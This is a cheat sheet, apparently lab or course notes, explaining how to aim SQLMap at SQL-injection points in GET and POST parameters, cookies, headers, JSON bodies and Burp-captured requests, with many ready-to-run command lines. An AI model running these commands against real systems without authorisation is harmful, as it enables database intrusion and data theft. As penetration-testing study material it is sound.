Any user-controlled input is in scope: GET, POST, cookies, headers, JSON fields. The question is only how to tell SQLMap where the input lives.
GET Parameter — -u
sqlmap -u "http://target/vuln.php?id=1" --batch
sqlmap -u "http://target/vuln.php?id=1&page=2" -p id # focus one paramQuote the URL to stop your shell from eating &.
POST Body — --data
sqlmap -u "http://target/login.php" --data="user=admin&pass=test" --batch
sqlmap -u "http://target/api/search" --data='{"q":"test","page":1}' \
--headers="Content-Type: application/json"Cookie — --cookie
Tests cookies as injection targets AND maintains session state for authenticated endpoints.
sqlmap -u "http://target/dashboard" --cookie="PHPSESSID=abc123; id=1"
sqlmap -u "http://target/dashboard" --cookie="id=1*" # force test hereExtra Headers — --headers / -H
sqlmap -u "http://target/" -H "X-Forwarded-For: 127.0.0.1*"
sqlmap -u "http://target/" --headers="X-Api-Key: xyz\nAuthorization: Bearer abc"
sqlmap -u "http://target/" --user-agent="Mozilla/5.0 ..."
sqlmap -u "http://target/" --random-agent
sqlmap -u "http://target/" --referer="http://target/dashboard"Load From a Burp Request — -r (preferred)
Capture the request in Burp (Right-click → Copy to file), save as request.txt, and feed it directly. Everything — URL, method, headers, cookies, body — is parsed for you.
sqlmap -r request.txt --batch
sqlmap -r request.txt -p id --dbms=mysql
sqlmap -r request.txt --force-ssl # if captured request was HTTPS
sqlmap -r request.txt --level=3 --risk=2Example request.txt:
POST /case4.php HTTP/1.1
Host: 154.57.164.82:31754
Content-Type: application/json
Content-Length: 8
{"id":1*}The injection mark
*Append
*where you want SQLMap to inject. It overrides SQLMap’s parameter auto-discovery — essential inside JSON, inside cookies, or in non-standard header values. Note the*goes after the value (1*), not replacing it.
Forms — --forms
Scrape HTML forms off the page and test their inputs. Combine with --crawl for depth.
sqlmap -u "http://target/" --forms --batch
sqlmap -u "http://target/" --forms --crawl=2 --batchPUT / DELETE / Custom Methods
sqlmap -u "http://target/api/user/1" --method=PUT --data="name=x" --batchNon-Standard Delimiters
sqlmap -u "http://target/?id=1;cat=2" --param-del=";"
sqlmap -u "http://target/" --cookie="a=1|b=2" --cookie-del="|"Picking Which Parameter to Test — -p / --skip
-p id # test only `id`
-p id,cat # test two params
--skip=submit,csrf # never test these
--skip-static # skip params whose value didn't change the responseCommon Scenarios
# Authenticated endpoint via -r
sqlmap -r request.txt --batch --level=3
# JSON body with injection mark
sqlmap -r request.txt --batch # request contains {"id":1*}
# Cookie-based ID
sqlmap -u "http://target/" --cookie="id=1*" --level=2
# Header injection
sqlmap -u "http://target/" -H "X-Forwarded-For: 127.0.0.1*" --level=3
# Login form
sqlmap -u "http://target/login" --data="user=admin&pass=x" -p user --risk=3
--leveldefaults skip cookies & headersCookie testing requires
--level>=2; header testing requires--level>=3. If you know injection is in a cookie or header, bump the level or use the*mark to force it.
